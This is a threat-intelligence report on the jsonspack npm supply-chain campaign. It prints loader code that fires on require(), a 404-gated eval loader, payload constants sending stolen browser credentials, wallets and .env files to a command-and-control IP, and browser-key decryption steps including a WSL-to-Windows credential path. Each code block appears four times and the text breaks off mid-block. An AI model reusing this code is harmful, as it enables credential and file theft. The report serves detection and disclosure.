jsonspack: Multi-Tenant Node.js RAT Malware-as-a-Service Campaign

Note — jsonspack vs legitimate jsonpack: jsonpack is a legitimate npm JSON compression library published by sapienlab in 2013, maintained through 2022, with 1.1.5 as the final version.P2 (Footnote prefixes: E = evidence, P = prior art, R = references, A = appendix.) It is unrelated to this campaign. The operator chose jsonspack[.]com as a plausible-sounding developer tooling brand — not a deliberate typosquat (npm package names must be unique), but capitalising on the superficial similarity to a real package name for credibility.

Campaign Overview

The jsonspack campaign is a supply chain attack comprising 27 confirmed malicious npm (Node Package Manager) packages published by eight distinct email accounts between 2026-03-18 and 2026-03-31. All 27 share hello@jsonspack[.]com as the author contact email in their package.json metadata — the basis on which they are grouped as a single campaign, though this alone does not confirm a single operator (see Attribution section).

The Panther NPM.Malicious.Verdict.LLM detection pipeline flagged 2 packages (chai-as-hooked, chai-as-redeployed). Both used hello@jsonspack[.]com as their author email. Pivoting on that email via the Panther npm-index returned 25 additional packages — combined with the 2 already known, this brought the total to 27 packages: 12 were still live on the npm registry and 15 that had been unpublished and were no longer publicly accessible, but were recovered from an npm package mirror.E5 3,739 total downloads were recorded across all 27 packages as of 2026-04-01; the full publish/unpublish chronology is in the Campaign Timeline.E6

The package names are designed to blend into a developer’s dependency tree. Most follow the chai-as-* naming convention like real chai.js assertion library pluginsE30 — for example chai-as-adapter, chai-beta, chai-str. Others pose as developer metrics and tracking utilities (trackora-node, metrify-chain, chain-metrica) or synchronisation tools (chain-syncora). The express-flowlimit family presents itself as rate limiting middleware, with a README describing “Lightweight and flexible rate limiting middleware for Express.js applications”.E31 Regardless of their names, all packages except the express-flowlimit family embed pino logger branding in their package contents as an additional layer of legitimacy (see Loader Analysis section). All share a common loader that fires silently on any require() of the package, not at install time, by exporting a function that immediately spawns a detached, stdio-suppressed child process.E1 This makes the packages invisible to postinstall hook scanners.

On execution, the loader retrieves an obfuscated payload from one of six C2 delivery channels and evaluates it via new Function.constructor('require', payload)(require).E2 Payloads were retrieved from four of the six channels on 2026-04-01; the payloads differ across channels and are not a single shared stage-3 binary.

One channel’s payload was fully decoded at the time of publishing — a 2.8 MB cross-platform Node.js RAT and infostealer (SHA256: fdb582f16475cb79bebd0dffc48d610430cae2e39e9a3e2abd373b3413691838)E3 that spawns three concurrent background scripts: a browser credential stealer targeting 13 Chromium-based browsersA1 and 40 crypto wallet extensions,A2 a full-filesystem file exfiltrator targeting .env secrets, and a socket.io reverse shell with real-time clipboard monitoring. All exfiltration targets a single Vultr VPS at 144.172.110[.]132 across ports 8085, 8086, and 8087.E15

The remaining channels serve distinct payloads — from a 4 KB secondary loader that fetches a further unknown stage, to ~90 KB partially-decoded payloads that lack the decoded channel’s operator fingerprints — consistent with a multi-tenant architecture where different operators deploy their own malware via shared infrastructure (see Attribution). Two channels were offline at retrieval time.

Four techniques not previously documented in public threat intelligence were identified during this analysis, including HTTP 404-triggered payload delivery that defeats all 94 VirusTotal engines, and a WSL-to-Windows credential bridge that steals Windows host browser credentials from inside a Linux process (see Interesting Findings).

Architecture

Package Inventory

Most packages masquerade as pino logger internally (README badges, docs/ directory, keyword metadata).E23E32 The express-flowlimit family is the exception — it masquerades as Express rate-limiting middleware.

Of the 15 deleted packages, 14 were removed within npm’s 72-hour self-unpublish window (most likely threat actor self-removals). gemini-ai-checker lived 301.6 hours before removal — outside the self-unpublish window, requiring npm support or security action.E25

Full package listings: Appendix C — Live Packages | Appendix D — Deleted Packages

Loader Analysis

Trigger Mechanism

All 27 packages — without exception — use the same trigger: index.js exports a middleware function that, on any require() of the package, immediately calls runJobA(). This spawns lib/caller.js as a detached, silent background process — no postinstall hook, no user interaction required.E1

// index.js — representative sample (chai-as-adapter, confirmed via SHA256
// 70f8deb4d35ab7db47845f6b6666ae6c0a22814eca580a10e7a0ba09f9ece5f8 of lib/caller.js)
function runJobA(args) {
  const script = path.resolve(__dirname, './lib/caller.js');
  const child = spawn('node', [script, JSON.stringify(args)], {
    detached: true,
    stdio:    'ignore'  // no stdout/stderr visible to parent
  });
  child.unref();        // parent process can exit; child continues
}

const middleware = (..._args) => {
  runJobA(..._args);
  return (_req, _res, next) => { if (typeof next === 'function') next(); };
};
module.exports = middleware;
module.exports.pino = middleware;  // ← impersonation alias

// index.js — representative sample (chai-as-adapter, confirmed via SHA256
// 70f8deb4d35ab7db47845f6b6666ae6c0a22814eca580a10e7a0ba09f9ece5f8 of lib/caller.js)
function runJobA(args) {
  const script = path.resolve(__dirname, './lib/caller.js');
  const child = spawn('node', [script, JSON.stringify(args)], {
    detached: true,
    stdio:    'ignore'  // no stdout/stderr visible to parent
  });
  child.unref();        // parent process can exit; child continues
}

const middleware = (..._args) => {
  runJobA(..._args);
  return (_req, _res, next) => { if (typeof next === 'function') next(); };
};
module.exports = middleware;
module.exports.pino = middleware;  // ← impersonation alias

// index.js — representative sample (chai-as-adapter, confirmed via SHA256
// 70f8deb4d35ab7db47845f6b6666ae6c0a22814eca580a10e7a0ba09f9ece5f8 of lib/caller.js)
function runJobA(args) {
  const script = path.resolve(__dirname, './lib/caller.js');
  const child = spawn('node', [script, JSON.stringify(args)], {
    detached: true,
    stdio:    'ignore'  // no stdout/stderr visible to parent
  });
  child.unref();        // parent process can exit; child continues
}

const middleware = (..._args) => {
  runJobA(..._args);
  return (_req, _res, next) => { if (typeof next === 'function') next(); };
};
module.exports = middleware;
module.exports.pino = middleware;  // ← impersonation alias

// index.js — representative sample (chai-as-adapter, confirmed via SHA256
// 70f8deb4d35ab7db47845f6b6666ae6c0a22814eca580a10e7a0ba09f9ece5f8 of lib/caller.js)
function runJobA(args) {
  const script = path.resolve(__dirname, './lib/caller.js');
  const child = spawn('node', [script, JSON.stringify(args)], {
    detached: true,
    stdio:    'ignore'  // no stdout/stderr visible to parent
  });
  child.unref();        // parent process can exit; child continues
}

const middleware = (..._args) => {
  runJobA(..._args);
  return (_req, _res, next) => { if (typeof next === 'function') next(); };
};
module.exports = middleware;
module.exports.pino = middleware;  // ← impersonation alias

The last module.exports alias reveals the impersonation target — pino for most packages, flowlimit for the express-flowlimit family. No postinstall script is present in package.json for any of the 27 packages.E8

chai-as-encrypted is the sole exception: it uses an IIFE (Immediately Invoked Function Expression) in lib/initializeCaller.js that fires inline on require() rather than spawning a child process.E9

Loader Code

The loader is always unobfuscated and readable in every package. There are five distinct loader variants across the campaign — each hardcodes its C2 URL differently. The obfuscation begins at the stage-2 payload level, not the loader itself. Variant 5 (npoint — chai-as-encrypted) uses an IIFE that fires inline on require() rather than spawning a child process; it is covered in the Trigger Mechanism section above.E9 Variants 1–4 below are the spawn-based loaders. Full loader source for each variant is archived in artifacts/jsonspack/loaders/.

Variant 1 — BADC6 cluster (metrify-chain@2.4.5, loader SHA256: 5f2d8aec684e79cb983af79d29fddf7e7ecf1e36474baf1422e77c9b79caee23)E37

lib/const.js exports the C2 URL as a base64 string. lib/caller.js redeclares a local const process object that shadows Node.js’s global process, so process.env.DEV_API_KEY resolves to the hardcoded value rather than any real environment variable — a deliberate evasion of scanners that look for env var lookups.

Variant 2 — FAWPU cluster (lockedin-chai-chain@1.2.6, loader SHA256: 70f8deb4d35ab7db47845f6b6666ae6c0a22814eca580a10e7a0ba09f9ece5f8)E38

caller.js is entirely self-contained — the C2 URL is inline as a direct atob() call with no const process shadow and no lib/const.js dependency. A lib/const.js file exists in the package but contains a different URL (4NAKK) and is never read by this variant’s caller.js.

Variant 3 — XRGF3 cluster (chai-str@1.1.9, loader SHA256: d81e48769a830cd3384a4b8977ade12e5ab7583eb7cca84e7ab966d15871bd71)E39

caller.js hardcodes the C2 URL as a plaintext string literal — the most directly readable form. A const process shadow block is also present (with the same URL in base64) but the executing code uses the plaintext src variable, not atob(process.env.DEV_API_KEY).

Variant 4 — Vercel / 4NAKK clusters (express-flowlimit@2.2.8, loader SHA256: 0939feeda737b0951f6e37d690d65ecfdc5482ae1e1486734aaf59fb2497fcef)E40

caller.js reads from require('./config') — a split-config design that fragments the C2 URL across two files to defeat single-file IOC matching. The Vercel and 4NAKK clusters share this identical caller.js; only their lib/config.js files differ. HTTP 200 returns a benign decoy log message; the payload is delivered on HTTP 404 via error.response.data.token.

Channel allocation is static, not dynamic. Each package is bound to exactly one C2 channel at publish time. The specific embedding technique differs by variant: BADC6 uses an inline const process shadow in caller.js (the C2 URL is hardcoded in the shadow declaration itself, not imported from const.js); FAWPU uses a direct atob() call with no const process shadow and no const.js dependency; XRGF3 uses a plaintext string literal; Vercel uses a split config.js.E34 Three of the four techniques (BADC6, FAWPU, Vercel) obscure the C2 URL from static string-literal scanners. The XRGF3 variant is the exception — its C2 URL is a plaintext string literal and would be detected by any URL regex scanner.

Different packages were published pointing to different channels. Whether this reflects separate platform tenants deploying their own payloads, load balancing, or infrastructure resilience is unknown.

The stage-2 payload — the content of response.data.cookie served by the C2 — is where the obfuscation begins.

Stage-2 Payload Obfuscation

The payload served by each C2 cluster is a heavily obfuscated JavaScript file delivered as the cookie field of a JSON HTTP response. The following is the opening of the npoint[.]io payload as received — the raw obfuscated content before any analysis:E3

// Raw stage-2 payload (npoint[.]io channel) — first 400 chars of response.data.cookie
// SHA256 of full extracted JS: fdb582f16475cb79bebd0dffc48d610430cae2e39e9a3e2abd373b3413691838
function dS(D,y,Q,W,B){const NB={D:0x3e7};return N(y- -NB.D,W);}
function dr(D,y,Q,W,B){const No={D:0x9a};return O(D-No.D,B);}
function dK(D,y,Q,W,B){const NZ={D:0x21};return O(Q-NZ.D,D);}
(function(D,y){const Nc={D:0xaaa,y:0xd40,Q:0x10e7,W:0xd71,B:0x1dcc,
  o:0x28d7,Z:0x82d,L:0x6ab,Y:0x1328,E:0x896,T:0x4006,S:0x29bb,
  f:0x4457,G:0x92a,l:0x30d8,k:0x1e9,K:0x3024,c:0x19a0,h:0x122f,
  q:0x108d,J:'\\x21\\x39\\x6c\\x6c', ...  // 554 functions, 17,131-entry RC4 string array

// Raw stage-2 payload (npoint[.]io channel) — first 400 chars of response.data.cookie
// SHA256 of full extracted JS: fdb582f16475cb79bebd0dffc48d610430cae2e39e9a3e2abd373b3413691838
function dS(D,y,Q,W,B){const NB={D:0x3e7};return N(y- -NB.D,W);}
function dr(D,y,Q,W,B){const No={D:0x9a};return O(D-No.D,B);}
function dK(D,y,Q,W,B){const NZ={D:0x21};return O(Q-NZ.D,D);}
(function(D,y){const Nc={D:0xaaa,y:0xd40,Q:0x10e7,W:0xd71,B:0x1dcc,
  o:0x28d7,Z:0x82d,L:0x6ab,Y:0x1328,E:0x896,T:0x4006,S:0x29bb,
  f:0x4457,G:0x92a,l:0x30d8,k:0x1e9,K:0x3024,c:0x19a0,h:0x122f,
  q:0x108d,J:'\\x21\\x39\\x6c\\x6c', ...  // 554 functions, 17,131-entry RC4 string array

// Raw stage-2 payload (npoint[.]io channel) — first 400 chars of response.data.cookie
// SHA256 of full extracted JS: fdb582f16475cb79bebd0dffc48d610430cae2e39e9a3e2abd373b3413691838
function dS(D,y,Q,W,B){const NB={D:0x3e7};return N(y- -NB.D,W);}
function dr(D,y,Q,W,B){const No={D:0x9a};return O(D-No.D,B);}
function dK(D,y,Q,W,B){const NZ={D:0x21};return O(Q-NZ.D,D);}
(function(D,y){const Nc={D:0xaaa,y:0xd40,Q:0x10e7,W:0xd71,B:0x1dcc,
  o:0x28d7,Z:0x82d,L:0x6ab,Y:0x1328,E:0x896,T:0x4006,S:0x29bb,
  f:0x4457,G:0x92a,l:0x30d8,k:0x1e9,K:0x3024,c:0x19a0,h:0x122f,
  q:0x108d,J:'\\x21\\x39\\x6c\\x6c', ...  // 554 functions, 17,131-entry RC4 string array

// Raw stage-2 payload (npoint[.]io channel) — first 400 chars of response.data.cookie
// SHA256 of full extracted JS: fdb582f16475cb79bebd0dffc48d610430cae2e39e9a3e2abd373b3413691838
function dS(D,y,Q,W,B){const NB={D:0x3e7};return N(y- -NB.D,W);}
function dr(D,y,Q,W,B){const No={D:0x9a};return O(D-No.D,B);}
function dK(D,y,Q,W,B){const NZ={D:0x21};return O(Q-NZ.D,D);}
(function(D,y){const Nc={D:0xaaa,y:0xd40,Q:0x10e7,W:0xd71,B:0x1dcc,
  o:0x28d7,Z:0x82d,L:0x6ab,Y:0x1328,E:0x896,T:0x4006,S:0x29bb,
  f:0x4457,G:0x92a,l:0x30d8,k:0x1e9,K:0x3024,c:0x19a0,h:0x122f,
  q:0x108d,J:'\\x21\\x39\\x6c\\x6c', ...  // 554 functions, 17,131-entry RC4 string array

All meaningful strings — module names, URLs, credentials, C2 addresses — are encrypted using RC4+base64 and stored in a 17,131-entry array. Every string access goes through a chain of wrapper functions (e.g. dS(), dr(), dK()) that decode on demand. The obfuscation uses obfuscator.io’s short-name variant: single-character variable names (D, y, Q, W, B) rather than the default _0x-prefixed hex identifiers, producing a smaller file and defeating _0x-pattern detection rules.

The FAWPU, XRGF3, and BADC6 cluster payloads use the same cipher and variant but at much smaller scale (32, 1,292, and 1,295 array entries respectively).E29 Their deobfuscation was only partially successful — see the Payload Status table below.

C2 Delivery Clusters

Six C2 delivery channels were identified across the 27 packages. Five are documented in the table below (confirmed by shasum -a 256 on lib/caller.js across all downloaded tarballs — five distinct loader hashes). The sixth, isillegion[.]com, was used by chai-as-hooked and chai-as-redeployed and is documented in the Network IOCs section.E10

All four Vercel-family packages share the same caller.js hash (0939feeda737b0951f6e37d690d65ecfdc5482ae1e1486734aaf59fb2497fcef) — the C2 endpoint is differentiated via lib/config.js. The 4NAKK URL appears only as dead code in lib/const.js of two packages and is never executed.E40 The BADC6 cluster is the largest by package count (13 packages), 11 of which were self-unpublished before detection (2 remain live: trackora-node, trackora-chain).

Payload status per cluster (retrieved and deobfuscation attempted 2026-04-01):E29

The Vercel/4NAKK variant uses a split config and 404-triggered delivery rather than a const.js config file.

Kill Chain

Stage 1: Payload Retrieval — Six Delivery Channels

Channels 1–4 (jsonkeeper FAWPU/XRGF3/BADC6, npoint): GET with x-secret-key: _ header. Response JSON field response.data.cookie contains the obfuscated payload. Evaluated via new Function.constructor('require', payload)(require).

The payloads served by each channel are not identical. The npoint[.]io channel was the only one analysed in full. On 2026-04-01 the researcher fetched the FAWPU, XRGF3, and BADC6 bucket responses from a secure machine; the 4NAKK bucket returned HTTP 404 (offline); and both Vercel probe requests returned HTTP 404 (C2 offline or taken down). The three fetched payloads are distinct from the npoint[.]io payload and from each other.E26

FAWPU (4,228 chars) — secondary loader, not the final RAT. The FAWPU bucket serves a compact obfuscated script (10 functions, 32 string array entries, RC4+base64 cipher) whose sole purpose is to spawn a detached node -e child process. The spawned command dynamically constructs an axios.get(<URL>).then(res => eval(res.data.<field>)) call — making FAWPU a third stage that fetches yet another payload from a URL encoded in its string array. That URL cannot be recovered through static analysis alone without executing the script. Operator constants (SuperStr0ngSecret@)@^, u_k=301, 144.172.110[.]132) are absent from its static strings.E27

XRGF3 and BADC6 (~90KB each) — same underlying payload, different obfuscation runs. Both share near-identical structure: ~1,292–1,295 string array entries, ~122–124 function definitions, RC4+base64 cipher with the standard base64 alphabet, and an array-rotation IIFE using the same while(true) pattern. The lazy-init sentinel property names differ (glDhtH for XRGF3, kabmBn for BADC6) — consistent with two separate runs of the same obfuscator configuration producing different random identifiers. Neither contains SuperStr0ngSecret@)@^, 144.172.110[.]132, socket.io, searchAndUpload, or ldbScript in its static strings. The 0x301 value that appears in both is a hex lookup index in the string decoder, not the u_k=301 operator constant.E28 These are a different payload family from the npoint[.]io RAT — possibly an earlier version, a lighter-weight variant, or a different operator’s deployment on the same infrastructure.

Stage 2: Payload Execution — Three-Script Concurrent RAT

The C2 serves the payload as {"cookie":"<2.8MB obfuscated JS>"} — a JSON object whose cookie field contains executable JavaScript, delivered as application/json.R2 After evaluation, the payload spawns three concurrent background scripts, each tracked by a PID lock file:

// Stage-3 payload (deobfuscated)
// u_k/t/C2 constants: lines 355–359
// Utils.sp_s() script spawns: lines 845, 851, 862 (composite excerpt)
const u_s = '<http://144.172.110>[.]132:8086/upload';  // autoUploadScript file exfil
const l_s = '<http://144.172.110>[.]132:8085/upload';  // ldbScript browser data
const s_s = '<http://144.172.110>[.]132:8087';          // socket.io C2 + API
const u_k = 301;                                     // operator key
const t   = 3;                                       // tenant/campaign ID

Utils.sp_s(ldbScript,    `pid.${t}.1.lock`, 'ldbScript',        log);
Utils.sp_s(autoUpload,   `pid.${t}.2.lock`, 'autoUploadScript', log);
Utils.sp_s(socketScript, `pid.${t}.3.lock`, 'socketScript',     log);

// Stage-3 payload (deobfuscated)
// u_k/t/C2 constants: lines 355–359
// Utils.sp_s() script spawns: lines 845, 851, 862 (composite excerpt)
const u_s = '<http://144.172.110>[.]132:8086/upload';  // autoUploadScript file exfil
const l_s = '<http://144.172.110>[.]132:8085/upload';  // ldbScript browser data
const s_s = '<http://144.172.110>[.]132:8087';          // socket.io C2 + API
const u_k = 301;                                     // operator key
const t   = 3;                                       // tenant/campaign ID

Utils.sp_s(ldbScript,    `pid.${t}.1.lock`, 'ldbScript',        log);
Utils.sp_s(autoUpload,   `pid.${t}.2.lock`, 'autoUploadScript', log);
Utils.sp_s(socketScript, `pid.${t}.3.lock`, 'socketScript',     log);

// Stage-3 payload (deobfuscated)
// u_k/t/C2 constants: lines 355–359
// Utils.sp_s() script spawns: lines 845, 851, 862 (composite excerpt)
const u_s = '<http://144.172.110>[.]132:8086/upload';  // autoUploadScript file exfil
const l_s = '<http://144.172.110>[.]132:8085/upload';  // ldbScript browser data
const s_s = '<http://144.172.110>[.]132:8087';          // socket.io C2 + API
const u_k = 301;                                     // operator key
const t   = 3;                                       // tenant/campaign ID

Utils.sp_s(ldbScript,    `pid.${t}.1.lock`, 'ldbScript',        log);
Utils.sp_s(autoUpload,   `pid.${t}.2.lock`, 'autoUploadScript', log);
Utils.sp_s(socketScript, `pid.${t}.3.lock`, 'socketScript',     log);

// Stage-3 payload (deobfuscated)
// u_k/t/C2 constants: lines 355–359
// Utils.sp_s() script spawns: lines 845, 851, 862 (composite excerpt)
const u_s = '<http://144.172.110>[.]132:8086/upload';  // autoUploadScript file exfil
const l_s = '<http://144.172.110>[.]132:8085/upload';  // ldbScript browser data
const s_s = '<http://144.172.110>[.]132:8087';          // socket.io C2 + API
const u_k = 301;                                     // operator key
const t   = 3;                                       // tenant/campaign ID

Utils.sp_s(ldbScript,    `pid.${t}.1.lock`, 'ldbScript',        log);
Utils.sp_s(autoUpload,   `pid.${t}.2.lock`, 'autoUploadScript', log);
Utils.sp_s(socketScript, `pid.${t}.3.lock`, 'socketScript',     log);

Script 1 — ldbScript (Browser Credential Stealer)

Targets 13 Chromium-based browsers.A1 Platform-specific AES-256-GCM (Advanced Encryption Standard — Galois/Counter Mode) master key decryption:

• macOS: Keychain via security find-generic-password -w -s "<Browser> Safe Storage", PBKDF2 (Password-Based Key Derivation Function 2) with parameters: salt saltysalt, 1003 iterations, SHA1, 16-byte key

• Windows: DPAPI (Data Protection API) via ephemeral PowerShell .ps1 temp scripts, ProtectedData.Unprotect(), CurrentUser and LocalMachine scopes

• Linux: secret-tool or Python secretstorage

Browser Login Data SQL (Structured Query Language) database copied to temp path to bypass file locks, queried via sql.js (auto-installed if absent). Also targets:

• 40 crypto wallet browser extensions via Local Extension Settings directory enumeration

  A2

• macOS ~/Library/Keychains/login.keychain-db

All output uploaded to http://144.172.110[.]132:8085/upload. E3

Script 2 — autoUploadScript (File Exfiltrator)

Priority scan of Documents, Desktop, Downloads, then full home directory (macOS/Linux) or all drives (Windows via wmic logicaldisk get name). Separate recursive filesystem-wide search for .env* files (.env, .env.local, .env.production, etc.). Uploads all files ≤10 MB to http://144.172.110[.]132:8086/upload. Exclusions: node_modules, .git, vendor, venv, dist, build, Library, System. E3

Script 3 — socketScript (Reverse Shell + Clipboard Monitor)

socket.io client → ws://144.172.110[.]132:8087. Auto-installs socket.io-client via npm install --no-save --loglevel silent if absent. On connect: POSTs host info (hostname, OS, username) to http://144.172.110[.]132:8087/api/notify. HMAC-SHA256 authenticates all requests using SuperStr0ngSecret@)@^.E13

Remote command dispatch:

Clipboard polling every 1 second — POSTs every change to /api/log:

• macOS: execSync('pbpaste')

• Windows: PowerShell [System.Windows.Forms.Clipboard]::GetText()

• Linux/WSL (Windows Subsystem for Linux): xclip / xsel; WSL falls back to PowerShell.exe

WSL-to-Windows Credential Bridge

The payload detects WSL via /proc/version string match and WSL_DISTRO_NAME env var.E14 When in WSL, browser credential paths redirect from Linux paths to Windows filesystem bridge paths:

if (is_wsl()) {
  // steal Windows Chrome from inside Linux:
  chromePaths = ['/mnt/c/Users/<user>/AppData/Local/Google/Chrome/User Data/'];
  clipboardCmd = 'PowerShell.exe Get-Clipboard';
}

if (is_wsl()) {
  // steal Windows Chrome from inside Linux:
  chromePaths = ['/mnt/c/Users/<user>/AppData/Local/Google/Chrome/User Data/'];
  clipboardCmd = 'PowerShell.exe Get-Clipboard';
}

if (is_wsl()) {
  // steal Windows Chrome from inside Linux:
  chromePaths = ['/mnt/c/Users/<user>/AppData/Local/Google/Chrome/User Data/'];
  clipboardCmd = 'PowerShell.exe Get-Clipboard';
}

if (is_wsl()) {
  // steal Windows Chrome from inside Linux:
  chromePaths = ['/mnt/c/Users/<user>/AppData/Local/Google/Chrome/User Data/'];
  clipboardCmd = 'PowerShell.exe Get-Clipboard';
}

A developer running Node.js inside WSL has their Windows host browser credentials exfiltrated by the npm package.

Attribution

Verdict: Unknown — probable financially-motivated MaaS (Malware-as-a-Service) criminal operator Confidence: Unknown for named actor | High for motivation and business model

Key reasoning:

Why this is unlikely to be DPRK: The infrastructure overlap — shared abuse of api.npoint[.]io and Vercel CDN — is superficial. api.npoint[.]io appears in the UNC5342 (Contagious Interview) domain IOC list on VirusTotal, with multiple api.npoint[.]io/* endpoints attributed to that actor.E16 A Contagious Interview-attributed Vercel subdomain (tetrismic.vercel[.]app) returned 14/94 VT detections when checked during this analysis.E35 jsonspack independently uses both platforms — api.npoint[.]io for the npoint[.]io cluster and server-check-genimi.vercel[.]app for the Vercel cluster. The overlap reflects both actors abusing the same free public hosting services, not shared attribution. Every high-specificity technical fingerprint diverges:

Why this is more consistent with a commercial MaaS platform (qualified): The u_k and t constants — labelled “operator key” and “tenant ID” in the npoint[.]io payload source — are more consistent with a multi-tenant platform than a bespoke nation-state toolchain, though the allocation scheme for these values is unknown and no conclusions about the number of operators can be drawn from them alone.E4 The distinct payloads across channels (FAWPU 4 KB, XRGF3/BADC6 ~90 KB, npoint[.]io 2.8 MB) suggest each channel may represent a separate customer deploying their own payload rather than one operator running all channels. The Vultr VPS with an unmodified Plesk auto-generated hostname (gifted-rhodes.144-172-110-132.plesk[.]page) is consistent with a criminal group rather than nation-state operational discipline.

Open question: The XRGF3 and BADC6 payloads (~90KB each) do not contain the known operator fingerprints (SuperStr0ngSecret@)@^, u_k=301, 144.172.110[.]132) in their static strings, and the FAWPU payload is a secondary loader pointing to a further unknown stage. This leaves open whether all six channels are operated by the same entity or whether the shared hello@jsonspack[.]com email coordinated multiple operators deploying different payloads. Full analysis of the XRGF3/BADC6 payloads and recovery of the URL encoded in the FAWPU loader are required to resolve this.

Motivation: Financial crime — optimised for immediate monetisation. Crypto address clipboard interception (1-second poll), 40 wallet extensions, Brave browser emphasis, recursive .env search for API keys, full filesystem exfil for ransomware staging.

Sophistication tier: Medium-high criminal operator. Above average: 404-triggered evasion, config fragmentation, runtime-not-install trigger, WSL-aware credential bridging, HMAC request signing. Below nation-state: hardcoded year-encoded HMAC secret, public JSON hosting, unmodified Plesk panel, no persistence mechanism in current payload.

Concurrent campaigns: The Axios npm supply chain compromise (2026-03-31, Elastic/Trend Micro/Mandiant GTIG) is contemporaneous but distinct on every material dimension — dropper, loader, C2, delivery mechanism, obfuscation, and payload architecture — and is attributed to a North Korea-nexus actor; none of the four jsonspack novel findings appear in Axios campaign coverage.

Interesting Findings

The following techniques were not found in public threat intelligence sources reviewed by the Panther Threat Research team as of 2026-04-01.E18 Where other researchers have documented related techniques, those are noted under each finding.

Finding 1: HTTP 404 Error Response as Payload Delivery Signal

What: Loader fires a C2 beacon on require(). HTTP 200 returns a benign decoy log message. HTTP 404 delivers the malicious payload in error.response.data.token. Sandboxes probing the live C2 see no malicious behaviour.

Where: express-flowlimit / chai-extensions-extras — lib/caller.js .catch() handler.

Evidence:

// lib/caller.js — Vercel/4NAKK variant (verbatim from artifact loaders/vercel-variant/caller.txt)
while (retrycnt > 0) {
  try {
    const response = await axios.get(src, { headers: { bearrtoken: DEV_DEPENDENCY_TOKEN } });
    console.log("Token fetched:", response.data.token);  // ← decoy on HTTP 200
    break;
  } catch (error) {
    retrycnt--;
    if (error.response?.status === 404 && error.response.data?.token) {
      const handler = new (Function.constructor)("require", error.response.data.token);
      handler(require);
      break;
    }
  }
}

// lib/caller.js — Vercel/4NAKK variant (verbatim from artifact loaders/vercel-variant/caller.txt)
while (retrycnt > 0) {
  try {
    const response = await axios.get(src, { headers: { bearrtoken: DEV_DEPENDENCY_TOKEN } });
    console.log("Token fetched:", response.data.token);  // ← decoy on HTTP 200
    break;
  } catch (error) {
    retrycnt--;
    if (error.response?.status === 404 && error.response.data?.token) {
      const handler = new (Function.constructor)("require", error.response.data.token);
      handler(require);
      break;
    }
  }
}

// lib/caller.js — Vercel/4NAKK variant (verbatim from artifact loaders/vercel-variant/caller.txt)
while (retrycnt > 0) {
  try {
    const response = await axios.get(src, { headers: { bearrtoken: DEV_DEPENDENCY_TOKEN } });
    console.log("Token fetched:", response.data.token);  // ← decoy on HTTP 200
    break;
  } catch (error) {
    retrycnt--;
    if (error.response?.status === 404 && error.response.data?.token) {
      const handler = new (Function.constructor)("require", error.response.data.token);
      handler(require);
      break;
    }
  }
}

// lib/caller.js — Vercel/4NAKK variant (verbatim from artifact loaders/vercel-variant/caller.txt)
while (retrycnt > 0) {
  try {
    const response = await axios.get(src, { headers: { bearrtoken: DEV_DEPENDENCY_TOKEN } });
    console.log("Token fetched:", response.data.token);  // ← decoy on HTTP 200
    break;
  } catch (error) {
    retrycnt--;
    if (error.response?.status === 404 && error.response.data?.token) {
      const handler = new (Function.constructor)("require", error.response.data.token);
      handler(require);
      break;
    }
  }
}

Determined from: Static analysis of lib/caller.js (SHA256: 0939feeda737b0951f6e37d690d65ecfdc5482ae1e1486734aaf59fb2497fcef) read directly from the downloaded npm tarball — plain, unobfuscated JavaScript, no deobfuscation required.E22 The 404-vs-200 behaviour is explicit in the source: the try block handles HTTP 200 with a benign log message (console.log("Token fetched:", response.data.token)); the catch(error) block checks for HTTP 404 and executes error.response.data.token via Function.constructor. The inference that scanners receive a clean 200 is from the code logic, corroborated by the 0/94 VT detection rate on the URL, not from live testing of the C2.E11

Why this is notable: No published report documents using an HTTP error response code as the payload delivery gate. All prior npm sandbox-evasion uses OS fingerprinting, env var checks, or timing delays. The nearest MITRE technique is T1480 (Execution Guardrails)R1 — no sub-technique covers HTTP error code as delivery signal.

Detection opportunity: Network: outbound GET immediately followed by Function.constructor eval in a .catch() handler. YARA on string bearrtoken. Host: new (Function.constructor) call with require argument.

MITRE ATT&CK: T1480 — Execution Guardrails (no exact sub-technique); T1205 — Traffic Signaling (closest structural match — using network response properties to gate execution).

Finding 2: JSON {"cookie":"<JS>"} Payload Masquerade

What: C2 serves 2.8 MB obfuscated JavaScript as the value of a cookie key in a JSON response body, delivered as application/json. The semantic mismatch — JavaScript in a cookie field in JSON — may evade content-type scanners expecting application/javascript for eval’d content.

Where: All six C2 clusters. Loader: (await axios.get(endpoint)).data.cookie.

Evidence:

{"cookie":"!function(a,b){const c={...};...}(C,0xb*-0x28ed+...)"}

{"cookie":"!function(a,b){const c={...};...}(C,0xb*-0x28ed+...)"}

{"cookie":"!function(a,b){const c={...};...}(C,0xb*-0x28ed+...)"}

{"cookie":"!function(a,b){const c={...};...}(C,0xb*-0x28ed+...)"}

Why this is notable: Searched all 13 sources. No documentation found for response.data.cookie as a JavaScript payload access pattern, or for application/json masquerading a JavaScript payload.

Detection opportunity: HTTP responses with Content-Type: application/json whose body is a single-key JSON object with a value >100 KB beginning with JavaScript function signatures.

MITRE ATT&CK: T1001 — Data Obfuscation; T1132.001 — Standard Encoding.

Finding 3: WSL-to-Windows Credential Bridge via /mnt/c/Users/

What: Detects WSL via /proc/version and WSL_DISTRO_NAME. In WSL context, redirects browser credential paths to /mnt/c/Users/<user>/AppData/Local/*/ and uses PowerShell.exe for clipboard — stealing Windows host credentials from a Linux process.

Where: is_wsl() function and getChromiumBasePaths() WSL branch in the deobfuscated npoint[.]io payload (artifacts/jsonspack/decompiled/payload-synchrony-decoded.txt). E14

Evidence:

// is_wsl() — WSL detection (deobfuscated payload)
function is_wsl() {
  return process.env.WSL_DISTRO_NAME !== undefined ||
    fs.readFileSync('/proc/version', 'utf8').toLowerCase().includes('microsoft');
}

// getChromiumBasePaths() WSL branch — credential path redirect
if (is_wsl()) {
  const windowsUsername = get_wu();  // cmd.exe /c echo %USERNAME%
  return getWindowsBrowserPaths(windowsUsername);
  // resolves to: /mnt/c/Users/<user>/AppData/Local/Google/Chrome/User Data
}

// Clipboard redirect in WSL
clipboardCmd = 'PowerShell.exe Get-Clipboard';

// is_wsl() — WSL detection (deobfuscated payload)
function is_wsl() {
  return process.env.WSL_DISTRO_NAME !== undefined ||
    fs.readFileSync('/proc/version', 'utf8').toLowerCase().includes('microsoft');
}

// getChromiumBasePaths() WSL branch — credential path redirect
if (is_wsl()) {
  const windowsUsername = get_wu();  // cmd.exe /c echo %USERNAME%
  return getWindowsBrowserPaths(windowsUsername);
  // resolves to: /mnt/c/Users/<user>/AppData/Local/Google/Chrome/User Data
}

// Clipboard redirect in WSL
clipboardCmd = 'PowerShell.exe Get-Clipboard';

// is_wsl() — WSL detection (deobfuscated payload)
